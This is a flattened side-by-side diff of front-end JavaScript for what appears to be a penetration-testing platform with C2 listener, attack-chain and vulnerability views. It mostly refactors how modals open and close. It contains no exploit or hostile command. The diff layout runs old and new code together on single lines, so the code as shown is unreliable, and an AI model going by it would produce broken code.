document.getElementById('agent-md-name').value = data.name || ''; document.getElementById('agent-md-id').value = data.id || '';
document.getElementById('agent-md-description').value = data.description || ''; document.getElementById('agent-md-name').value = data.name || '';
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : ''; document.getElementById('agent-md-description').value = data.description || '';
document.getElementById('agent-md-bind-role').value = data.bind_role || ''; document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0); document.getElementById('agent-md-bind-role').value = data.bind_role || '';
document.getElementById('agent-md-instruction').value = data.instruction || ''; document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
if (modal) modal.style.display = 'flex'; document.getElementById('agent-md-instruction').value = data.instruction || '';
document.getElementById('agent-md-name')?.focus();
});
} catch (e) { } catch (e) {
closeMarkdownAgentModal();
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error'); showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
} }
} }
function closeMarkdownAgentModal() { function closeMarkdownAgentModal() {
const modal = document.getElementById('agent-md-modal'); closeAppModal('agent-md-modal');
if (modal) modal.style.display = 'none';
markdownAgentsEditingFilename = null; markdownAgentsEditingFilename = null;
markdownAgentsEditingIsOrchestrator = false; markdownAgentsEditingIsOrchestrator = false;
} }
+38 -33
View File
@@ -533,56 +533,61 @@ async function exportAuditLogsCsv() {
} }
function closeAuditDetailModal() { function closeAuditDetailModal() {
closeAppModal('audit-detail-modal');
const el = document.getElementById('audit-detail-modal'); const el = document.getElementById('audit-detail-modal');
if (el) el.remove(); if (el) el.remove();
syncAppModalBodyLock();
} }
async function showAuditLogDetail(id) { async function showAuditLogDetail(id) {
if (!id || typeof apiFetch !== 'function') return; if (!id || typeof apiFetch !== 'function') return;
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); }; const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
try { try {
closeAuditDetailModal();
const overlay = document.createElement('div');
overlay.id = 'audit-detail-modal';
overlay.className = 'modal';
document.body.appendChild(overlay);
openAppModal(overlay, { focus: false });
const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id)); const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id));
if (!r.ok) throw new Error('not found'); if (!r.ok) throw new Error('not found');
const data = await r.json(); const data = await r.json();
const log = data.log || {}; const log = data.log || {};
const detail = log.detail ? JSON.stringify(log.detail, null, 2) : ''; const detail = log.detail ? JSON.stringify(log.detail, null, 2) : '';
closeAuditDetailModal();
const overlay = document.createElement('div');
overlay.id = 'audit-detail-modal';
overlay.className = 'modal';
overlay.style.display = 'block';
const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || '')); const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || ''));
overlay.innerHTML = deferModalContent(function () {
'<div class="modal-content" style="max-width: 720px;">' + overlay.innerHTML =
'<div class="modal-header">' + '<div class="modal-content" style="max-width: 720px;">' +
'<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' + '<div class="modal-header">' +
'<span class="modal-close" onclick="closeAuditDetailModal()">&times;</span>' + '<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' +
'</div>' + '<span class="modal-close" onclick="closeAuditDetailModal()">&times;</span>' +
'<div class="modal-body audit-detail-body">' + '</div>' +
'<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' + '<div class="modal-body audit-detail-body">' +
'<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' + '<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' +
'<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(log.result || '') + '</p>' + '<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' +
'<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(log.message || '') + '</p>' + '<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(log.result || '') + '</p>' +
(log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') + '<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(log.message || '') + '</p>' +
(log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') + (log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') +
(log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') + (log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') +
auditResourceMeta(log) + (log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') +
(detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') + auditResourceMeta(log) +
'</div>' + (detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') +
'<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' + '</div>' +
esc(auditT('common.close', null, '关闭')) + '</button></div>' + '<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' +
'</div>'; esc(auditT('common.close', null, '关闭')) + '</button></div>' +
document.body.appendChild(overlay); '</div>';
const chatBtn = overlay.querySelector('.audit-open-chat-btn'); const chatBtn = overlay.querySelector('.audit-open-chat-btn');
if (chatBtn) { if (chatBtn) {
chatBtn.addEventListener('click', function () { chatBtn.addEventListener('click', function () {
auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id')); auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id'));
});
}
overlay.addEventListener('click', function (ev) {
if (ev.target === overlay) closeAuditDetailModal();
}); });
}
overlay.addEventListener('click', function (ev) {
if (ev.target === overlay) closeAuditDetailModal();
}); });
} catch (e) { } catch (e) {
closeAuditDetailModal();
if (typeof showToast === 'function') { if (typeof showToast === 'function') {
showToast(e.message || String(e), 'error'); showToast(e.message || String(e), 'error');
} }
+3 -5
View File
@@ -72,7 +72,7 @@ function showLoginOverlay(message = '') {
if (!overlay) { if (!overlay) {
return; return;
} }
overlay.style.display = 'flex'; openAppModal('login-overlay', { focus: false });
if (errorBox) { if (errorBox) {
if (message) { if (message) {
errorBox.textContent = message; errorBox.textContent = message;
@@ -82,7 +82,7 @@ function showLoginOverlay(message = '') {
errorBox.style.display = 'none'; errorBox.style.display = 'none';
} }
} }
setTimeout(() => { setTimeout(function () {
if (passwordInput) { if (passwordInput) {
passwordInput.focus(); passwordInput.focus();
} }
@@ -93,9 +93,7 @@ function hideLoginOverlay() {
const overlay = document.getElementById('login-overlay'); const overlay = document.getElementById('login-overlay');
const errorBox = document.getElementById('login-error'); const errorBox = document.getElementById('login-error');
const passwordInput = document.getElementById('login-password'); const passwordInput = document.getElementById('login-password');
if (overlay) { closeAppModal('login-overlay');
overlay.style.display = 'none';
}
if (errorBox) { if (errorBox) {
errorBox.textContent = ''; errorBox.textContent = '';
errorBox.style.display = 'none'; errorBox.style.display = 'none';
+5 -5
View File
@@ -478,7 +478,7 @@
const content = document.getElementById('c2-modal-content'); const content = document.getElementById('c2-modal-content');
if (!content || !modal) return; if (!content || !modal) return;
modal.style.display = 'flex'; openAppModal(modal);
content.innerHTML = ` content.innerHTML = `
<div class="c2-modal-header"> <div class="c2-modal-header">
<h3>${escapeHtml(c2t('c2.listeners.modalCreateTitle'))}</h3> <h3>${escapeHtml(c2t('c2.listeners.modalCreateTitle'))}</h3>
@@ -635,7 +635,7 @@
const content = document.getElementById('c2-modal-content'); const content = document.getElementById('c2-modal-content');
if (!content || !modal) return; if (!content || !modal) return;
modal.style.display = 'flex'; openAppModal(modal);
content.innerHTML = ` content.innerHTML = `
<div class="c2-modal-header"> <div class="c2-modal-header">
<h3>${escapeHtml(c2t('c2.listeners.editTitle'))}</h3> <h3>${escapeHtml(c2t('c2.listeners.editTitle'))}</h3>
@@ -2376,7 +2376,7 @@
<button class="btn-secondary" onclick="C2.closeModal()">${escapeHtml(c2t('common.close'))}</button> <button class="btn-secondary" onclick="C2.closeModal()">${escapeHtml(c2t('common.close'))}</button>
</div> </div>
`; `;
modal.style.display = 'flex'; openAppModal(modal);
}; };
const local = C2.tasks.find(x => x.id === id); const local = C2.tasks.find(x => x.id === id);
@@ -2920,7 +2920,7 @@
<button class="btn-primary" onclick="C2.createProfile()">${escapeHtml(c2t('c2.profiles.submitCreate'))}</button> <button class="btn-primary" onclick="C2.createProfile()">${escapeHtml(c2t('c2.profiles.submitCreate'))}</button>
</div> </div>
`; `;
modal.style.display = 'flex'; openAppModal(modal);
}; };
C2.createProfile = function() { C2.createProfile = function() {
@@ -2981,10 +2981,10 @@
C2.closeModal = function() { C2.closeModal = function() {
const modal = document.getElementById('c2-modal'); const modal = document.getElementById('c2-modal');
if (modal) { if (modal) {
modal.style.display = 'none';
const modalBox = modal.querySelector('.c2-modal'); const modalBox = modal.querySelector('.c2-modal');
if (modalBox) modalBox.classList.remove('c2-modal--wide'); if (modalBox) modalBox.classList.remove('c2-modal--wide');
} }
closeAppModal('c2-modal');
}; };
// ============================================================================ // ============================================================================
+12 -11
View File
@@ -1002,7 +1002,7 @@ async function openChatFilesEdit(relativePath) {
const modal = document.getElementById('chat-files-edit-modal'); const modal = document.getElementById('chat-files-edit-modal');
if (pathEl) pathEl.textContent = relativePath; if (pathEl) pathEl.textContent = relativePath;
if (ta) ta.value = ''; if (ta) ta.value = '';
if (modal) modal.style.display = 'block'; openAppModal('chat-files-edit-modal', { focus: false });
try { try {
const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath)); const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath));
@@ -1017,16 +1017,19 @@ async function openChatFilesEdit(relativePath) {
throw new Error(errText || res.status); throw new Error(errText || res.status);
} }
const data = await res.json(); const data = await res.json();
if (ta) ta.value = data.content != null ? String(data.content) : ''; const content = data.content != null ? String(data.content) : '';
deferModalContent(() => {
if (ta) ta.value = content;
ta?.focus();
});
} catch (e) { } catch (e) {
if (modal) modal.style.display = 'none'; closeAppModal('chat-files-edit-modal');
alert(chatFilesAlertMessage(e && e.message)); alert(chatFilesAlertMessage(e && e.message));
} }
} }
function closeChatFilesEditModal() { function closeChatFilesEditModal() {
const modal = document.getElementById('chat-files-edit-modal'); closeAppModal('chat-files-edit-modal');
if (modal) modal.style.display = 'none';
chatFilesEditRelativePath = ''; chatFilesEditRelativePath = '';
} }
@@ -1060,7 +1063,7 @@ function openChatFilesRename(relativePath, currentName) {
input.value = currentName || ''; input.value = currentName || '';
input.select(); input.select();
} }
if (modal) modal.style.display = 'flex'; if (modal) openAppModal(modal);
if (modal && typeof window.applyTranslations === 'function') { if (modal && typeof window.applyTranslations === 'function') {
window.applyTranslations(modal); window.applyTranslations(modal);
} }
@@ -1068,8 +1071,7 @@ function openChatFilesRename(relativePath, currentName) {
} }
function closeChatFilesRenameModal() { function closeChatFilesRenameModal() {
const modal = document.getElementById('chat-files-rename-modal'); closeAppModal('chat-files-rename-modal');
if (modal) modal.style.display = 'none';
const hint = document.getElementById('chat-files-rename-path-hint'); const hint = document.getElementById('chat-files-rename-path-hint');
if (hint) hint.textContent = ''; if (hint) hint.textContent = '';
chatFilesRenameRelativePath = ''; chatFilesRenameRelativePath = '';
@@ -1106,7 +1108,7 @@ function openChatFilesMkdirModal() {
const p = chatFilesBrowsePath.join('/'); const p = chatFilesBrowsePath.join('/');
if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads'; if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads';
if (input) input.value = ''; if (input) input.value = '';
if (modal) modal.style.display = 'flex'; if (modal) openAppModal(modal);
if (modal && typeof window.applyTranslations === 'function') { if (modal && typeof window.applyTranslations === 'function') {
window.applyTranslations(modal); window.applyTranslations(modal);
} }
@@ -1116,8 +1118,7 @@ function openChatFilesMkdirModal() {
} }
function closeChatFilesMkdirModal() { function closeChatFilesMkdirModal() {
const modal = document.getElementById('chat-files-mkdir-modal'); closeAppModal('chat-files-mkdir-modal');
if (modal) modal.style.display = 'none';
const input = document.getElementById('chat-files-mkdir-input'); const input = document.getElementById('chat-files-mkdir-input');
if (input) input.value = ''; if (input) input.value = '';
} }
+56 -76
View File
@@ -982,6 +982,24 @@ async function sendMessage() {
const reader = response.body.getReader(); const reader = response.body.getReader();
const decoder = new TextDecoder(); const decoder = new TextDecoder();
let buffer = ''; let buffer = '';
const dispatchStreamEvent = function (eventData) {
handleStreamEvent(eventData, progressElement, progressId,
() => assistantMessageId, (id) => { assistantMessageId = id; },
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
};
const processSseLines = typeof processSseDataLinesYielding === 'function'
? processSseDataLinesYielding
: async function (lines, onEvent) {
for (const line of lines) {
if (line.startsWith('data: ')) {
try {
onEvent(JSON.parse(line.slice(6)));
} catch (e) {
console.error('解析事件数据失败:', e, line);
}
}
}
};
while (true) { while (true) {
const { done, value } = await reader.read(); const { done, value } = await reader.read();
@@ -991,18 +1009,7 @@ async function sendMessage() {
const lines = buffer.split('\n'); const lines = buffer.split('\n');
buffer = lines.pop(); // 保留最后一个不完整的行 buffer = lines.pop(); // 保留最后一个不完整的行
for (const line of lines) { await processSseLines(lines, dispatchStreamEvent);
if (line.startsWith('data: ')) {
try {
const eventData = JSON.parse(line.slice(6));
handleStreamEvent(eventData, progressElement, progressId,
() => assistantMessageId, (id) => { assistantMessageId = id; },
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
} catch (e) {
console.error('解析事件数据失败:', e, line);
}
}
}
} }
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point. // Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
buffer += decoder.decode(); buffer += decoder.decode();
@@ -1010,18 +1017,7 @@ async function sendMessage() {
// 处理剩余的buffer // 处理剩余的buffer
if (buffer.trim()) { if (buffer.trim()) {
const lines = buffer.split('\n'); const lines = buffer.split('\n');
for (const line of lines) { await processSseLines(lines, dispatchStreamEvent);
if (line.startsWith('data: ')) {
try {
const eventData = JSON.parse(line.slice(6));
handleStreamEvent(eventData, progressElement, progressId,
() => assistantMessageId, (id) => { assistantMessageId = id; },
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
} catch (e) {
console.error('解析事件数据失败:', e, line);
}
}
}
} }
} finally { } finally {
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null }; window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
@@ -2384,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
itemTitle = agPx + execLine; itemTitle = agPx + execLine;
} else if (eventType === 'eino_agent_reply') { } else if (eventType === 'eino_agent_reply') {
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复'); itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
} else if (eventType === 'eino_empty_response_continue') {
itemTitle = typeof window.t === 'function'
? window.t('chat.einoEmptyResponseContinueTitle')
: '🔁 自动续跑(无助手正文)';
} else if (eventType === 'eino_run_retry') { } else if (eventType === 'eino_run_retry') {
itemTitle = typeof window.t === 'function' itemTitle = typeof window.t === 'function'
? window.t('chat.einoRunRetryTitle') ? window.t('chat.einoRunRetryTitle')
@@ -2535,10 +2535,17 @@ async function batchUpdateButtonToolNames(buttonsContainer, executionIds) {
// 显示MCP调用详情 // 显示MCP调用详情
async function showMCPDetail(executionId) { async function showMCPDetail(executionId) {
try { try {
openAppModal('mcp-detail-modal', { focus: false });
const response = await apiFetch(`/api/monitor/execution/${executionId}`); const response = await apiFetch(`/api/monitor/execution/${executionId}`);
const exec = await response.json(); const exec = await response.json();
if (response.ok) { if (!response.ok) {
closeMCPDetail();
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
return;
}
deferModalContent(function () {
// 填充模态框内容 // 填充模态框内容
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown'); document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A'; document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
@@ -2645,20 +2652,16 @@ async function showMCPDetail(executionId) {
delete abortBtn.dataset.execId; delete abortBtn.dataset.execId;
} }
} }
});
// 显示模态框
document.getElementById('mcp-detail-modal').style.display = 'block';
} else {
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
}
} catch (error) { } catch (error) {
closeMCPDetail();
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message); alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
} }
} }
// 关闭MCP详情模态框 // 关闭MCP详情模态框
function closeMCPDetail() { function closeMCPDetail() {
document.getElementById('mcp-detail-modal').style.display = 'none'; closeAppModal('mcp-detail-modal');
} }
/** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */ /** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */
@@ -2682,18 +2685,12 @@ function openMcpToolAbortModal(executionId, options = {}) {
if (ta) { if (ta) {
ta.value = ''; ta.value = '';
} }
const m = document.getElementById('mcp-tool-abort-modal'); openAppModal('mcp-tool-abort-modal');
if (m) {
m.style.display = 'block';
}
} }
function closeMcpToolAbortModal() { function closeMcpToolAbortModal() {
window.__mcpToolAbortContext = null; window.__mcpToolAbortContext = null;
const m = document.getElementById('mcp-tool-abort-modal'); closeAppModal('mcp-tool-abort-modal');
if (m) {
m.style.display = 'none';
}
} }
async function submitMcpToolAbortModal() { async function submitMcpToolAbortModal() {
@@ -2846,10 +2843,12 @@ async function startNewConversation() {
} catch (e) { /* ignore */ } } catch (e) { /* ignore */ }
currentConversationGroupId = null; // 新对话不属于任何分组 currentConversationGroupId = null; // 新对话不属于任何分组
if (typeof ensureDefaultActiveProjectForNewChat === 'function') { if (typeof ensureDefaultActiveProjectForNewChat === 'function') {
ensureDefaultActiveProjectForNewChat().catch(() => {}); try {
await ensureDefaultActiveProjectForNewChat();
} catch (e) { /* ignore */ }
} }
if (typeof refreshChatProjectSelector === 'function') { if (typeof refreshChatProjectSelector === 'function') {
refreshChatProjectSelector(); await refreshChatProjectSelector();
} }
document.getElementById('chat-messages').innerHTML = ''; document.getElementById('chat-messages').innerHTML = '';
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。'; const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
@@ -3125,7 +3124,7 @@ async function loadConversation(conversationId) {
// 如果攻击链模态框打开且显示的不是当前对话,关闭它 // 如果攻击链模态框打开且显示的不是当前对话,关闭它
const attackChainModal = document.getElementById('attack-chain-modal'); const attackChainModal = document.getElementById('attack-chain-modal');
if (attackChainModal && attackChainModal.style.display === 'block') { if (attackChainModal && isAppModalOpen('attack-chain-modal')) {
if (currentAttackChainConversationId !== conversationId) { if (currentAttackChainConversationId !== conversationId) {
closeAttackChainModal(); closeAttackChainModal();
} }
@@ -3369,7 +3368,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
async function deleteConversation(conversationId, skipConfirm = false) { async function deleteConversation(conversationId, skipConfirm = false) {
// 确认删除(如果调用者没有跳过确认) // 确认删除(如果调用者没有跳过确认)
if (!skipConfirm) { if (!skipConfirm) {
if (!confirm('确定要删除这个对话吗?此操作不可恢复。')) { if (!confirm('确定要删除这个对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。')) {
return; return;
} }
} }
@@ -3415,7 +3414,7 @@ async function deleteConversation(conversationId, skipConfirm = false) {
// 批量管理弹窗打开时,同步刷新弹窗内列表 // 批量管理弹窗打开时,同步刷新弹窗内列表
const batchModal = document.getElementById('batch-manage-modal'); const batchModal = document.getElementById('batch-manage-modal');
if (batchModal && batchModal.style.display === 'flex') { if (batchModal && isAppModalOpen('batch-manage-modal')) {
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId); allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
updateBatchManageTitle(allConversationsForBatch.length); updateBatchManageTitle(allConversationsForBatch.length);
const searchInput = document.getElementById('batch-search-input'); const searchInput = document.getElementById('batch-search-input');
@@ -3522,7 +3521,7 @@ async function showAttackChain(conversationId) {
if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) { if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) {
// 如果模态框已经打开且显示的是同一个对话,不重复打开 // 如果模态框已经打开且显示的是同一个对话,不重复打开
const modal = document.getElementById('attack-chain-modal'); const modal = document.getElementById('attack-chain-modal');
if (modal && modal.style.display === 'block') { if (modal && isAppModalOpen('attack-chain-modal')) {
console.log('攻击链正在加载中,模态框已打开'); console.log('攻击链正在加载中,模态框已打开');
return; return;
} }
@@ -3535,8 +3534,7 @@ async function showAttackChain(conversationId) {
return; return;
} }
modal.style.display = 'block'; openAppModal('attack-chain-modal', { focus: false });
// 打开时立即按当前语言刷新统计(避免红框内仍显示硬编码中文)
updateAttackChainStats({ nodes: [], edges: [] }); updateAttackChainStats({ nodes: [], edges: [] });
// 清空容器 // 清空容器
@@ -4668,10 +4666,7 @@ function closeNodeDetails() {
// 关闭攻击链模态框 // 关闭攻击链模态框
function closeAttackChainModal() { function closeAttackChainModal() {
const modal = document.getElementById('attack-chain-modal'); closeAppModal('attack-chain-modal');
if (modal) {
modal.style.display = 'none';
}
// 关闭节点详情 // 关闭节点详情
closeNodeDetails(); closeNodeDetails();
@@ -7214,19 +7209,14 @@ async function showBatchManageModal() {
updateBatchManageTitle(allConversationsForBatch.length); updateBatchManageTitle(allConversationsForBatch.length);
renderBatchConversations(); renderBatchConversations();
if (modal) { openAppModal('batch-manage-modal');
modal.style.display = 'flex';
}
} catch (error) { } catch (error) {
console.error('加载对话列表失败:', error); console.error('加载对话列表失败:', error);
// 错误时使用空数组,不显示错误提示(更友好的用户体验) // 错误时使用空数组,不显示错误提示(更友好的用户体验)
allConversationsForBatch = []; allConversationsForBatch = [];
const modal = document.getElementById('batch-manage-modal');
updateBatchManageTitle(0); updateBatchManageTitle(0);
if (modal) { renderBatchConversations();
renderBatchConversations(); openAppModal('batch-manage-modal');
modal.style.display = 'flex';
}
} }
} }
@@ -7381,10 +7371,7 @@ async function deleteSelectedConversations() {
// 关闭批量管理模态框 // 关闭批量管理模态框
function closeBatchManageModal() { function closeBatchManageModal() {
const modal = document.getElementById('batch-manage-modal'); closeAppModal('batch-manage-modal');
if (modal) {
modal.style.display = 'none';
}
const selectAll = document.getElementById('batch-select-all'); const selectAll = document.getElementById('batch-select-all');
if (selectAll) { if (selectAll) {
selectAll.checked = false; selectAll.checked = false;
@@ -7424,8 +7411,7 @@ function refreshChatPanelI18n() {
}); });
} }
const mcpModal = document.getElementById('mcp-detail-modal'); if (isAppModalOpen('mcp-detail-modal')) {
if (mcpModal && mcpModal.style.display === 'block') {
const detailTimeEl = document.getElementById('detail-time'); const detailTimeEl = document.getElementById('detail-time');
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) { if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
try { try {
@@ -7447,7 +7433,7 @@ document.addEventListener('languagechange', function () {
refreshSystemReadyMessageBubbles(); refreshSystemReadyMessageBubbles();
refreshChatPanelI18n(); refreshChatPanelI18n();
const modal = document.getElementById('batch-manage-modal'); const modal = document.getElementById('batch-manage-modal');
if (modal && modal.style.display === 'flex') { if (isAppModalOpen('batch-manage-modal')) {
updateBatchManageTitle(allConversationsForBatch.length); updateBatchManageTitle(allConversationsForBatch.length);
} }
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式 // 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
@@ -7482,20 +7468,14 @@ function showCreateGroupModal(andMoveConversation = false) {
iconPicker.style.display = 'none'; iconPicker.style.display = 'none';
} }
if (modal) { if (modal) {
modal.style.display = 'flex'; openAppModal('create-group-modal', { focusEl: input });
modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false'; modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false';
if (input) {
setTimeout(() => input.focus(), 100);
}
} }
} }
// 关闭创建分组模态框 // 关闭创建分组模态框
function closeCreateGroupModal() { function closeCreateGroupModal() {
const modal = document.getElementById('create-group-modal'); closeAppModal('create-group-modal');
if (modal) {
modal.style.display = 'none';
}
const input = document.getElementById('create-group-name-input'); const input = document.getElementById('create-group-name-input');
if (input) { if (input) {
input.value = ''; input.value = '';
+3 -1
View File
@@ -131,7 +131,7 @@ async function refreshDashboard() {
openVulnQuery('low'), openVulnQuery('low'),
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。 // 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。 // 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
fetchJson('/api/config/tools?page=1&page_size=1'), fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作 // HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
fetchJson('/api/hitl/pending'), fetchJson('/api/hitl/pending'),
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示 // 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
@@ -1459,6 +1459,7 @@ function statusKey(s) {
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed'; if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
if (s === 'confirmed') return 'confirmed'; if (s === 'confirmed') return 'confirmed';
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp'; if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
if (s === 'ignored') return 'ignored';
return 'open'; return 'open';
} }
@@ -1467,6 +1468,7 @@ function statusShortLabel(s) {
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复'); if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认'); if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报'); if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
return dt('dashboard.statusOpen', null, '待处理'); return dt('dashboard.statusOpen', null, '待处理');
} }
+18 -10
View File
@@ -344,7 +344,9 @@ function showFofaParseModal(nlText, parsed) {
const modal = document.createElement('div'); const modal = document.createElement('div');
modal.id = 'fofa-parse-modal'; modal.id = 'fofa-parse-modal';
modal.className = 'modal'; modal.className = 'modal';
modal.style.display = 'block'; document.body.appendChild(modal);
openAppModal(modal, { focus: false });
deferModalContent(function () {
modal.innerHTML = ` modal.innerHTML = `
<div class="modal-content" style="max-width: 900px;"> <div class="modal-content" style="max-width: 900px;">
<div class="modal-header"> <div class="modal-header">
@@ -384,24 +386,24 @@ function showFofaParseModal(nlText, parsed) {
</div> </div>
`; `;
document.body.appendChild(modal);
const queryTextarea = document.getElementById('fofa-parse-query'); const queryTextarea = document.getElementById('fofa-parse-query');
if (queryTextarea) { if (queryTextarea) {
queryTextarea.value = (parsed?.query || '').trim(); queryTextarea.value = (parsed?.query || '').trim();
setTimeout(() => { queryTextarea.focus();
try { queryTextarea.focus(); } catch (e) { /* ignore */ }
}, 0);
} }
const close = () => modal.remove(); const close = function () {
modal.addEventListener('click', (e) => { closeAppModal(modal);
modal.remove();
syncAppModalBodyLock();
};
modal.addEventListener('click', function (e) {
if (e.target === modal) close(); if (e.target === modal) close();
}); });
document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close); document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close);
document.getElementById('fofa-parse-cancel')?.addEventListener('click', close); document.getElementById('fofa-parse-cancel')?.addEventListener('click', close);
const applyToQuery = (run) => { const applyToQuery = function (run) {
const els = getFofaFormElements(); const els = getFofaFormElements();
const q = (queryTextarea?.value || '').trim(); const q = (queryTextarea?.value || '').trim();
if (!q) { if (!q) {
@@ -435,6 +437,7 @@ function showFofaParseModal(nlText, parsed) {
} }
}; };
document.addEventListener('keydown', onKey); document.addEventListener('keydown', onKey);
});
} }
